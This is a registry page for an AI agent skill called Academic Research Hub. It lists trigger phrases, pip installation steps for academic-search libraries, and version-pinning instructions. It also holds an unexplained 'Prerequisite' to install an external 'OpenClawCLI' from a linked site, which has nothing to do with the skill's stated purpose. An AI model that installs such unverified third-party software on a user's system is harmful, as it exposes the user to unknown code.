Use this skill when users need to search academic papers, download research documents, extract citations, or gather scholarly information. Triggers include: requests to "find papers on", "search research about", "download academic articles", "get citations for", or any request involving academic databases like arXiv, PubMed, Semantic Scholar, or Google Scholar. Also use for literature reviews, bibliography generation, and research discovery.

Collected from public GitHub. Every version is saved exactly as it was and never changes. Install it at an exact version with the mdr tool, and every file is checked before it reaches your agent. The main file is checked against the SHA-256 fingerprint recorded here, and the others against the fingerprints GitHub keeps for its source commit. The automatic checks below grade the latest version, and the same checks always give the same file the same grade.

What the file says

# Academic Research Hub

## Overview

Academic Research Hub provides unified access to multiple academic databases (arXiv, PubMed, Semantic Scholar, etc.) for searching papers, downloading PDFs, extracting citations, and generating bibliographies. It is the recommended tool for literature review and reference management in NeuroRuntime.

**Prerequisite:** Install [OpenClawCLI](https://clawhub.ai/) (Windows, MacOS)

## Installation

**Best Practices:**

```bash
# Standard installation
pip install arxiv scholarly pubmed-parser semanticscholar requests

# If you encounter permission errors, use a virtual environment
python -m venv venv
source venv/bin/activate   # On Windows: venv\Scripts\activate
pip install arxiv scholarly pubmed-parser semanticscholar requests
```

**Never use `--break-system-packages`** as it can damage your system's Python installation.

How to install

The exact contents, by fingerprint

mdr add cuhk-aim-group/neurodiscovery/academic-research-hub@sha256:1985b6f6203b94fb

The line at the top of this page pins the label git:20261023.f74c2bd, which is what most people want. This one pins the sha256 fingerprint of the contents instead, so it survives a label being moved. Either way the exact version is written to mdr.lock, and mdr install downloads and checks those contents again, so it installs them exactly or stops with an error.
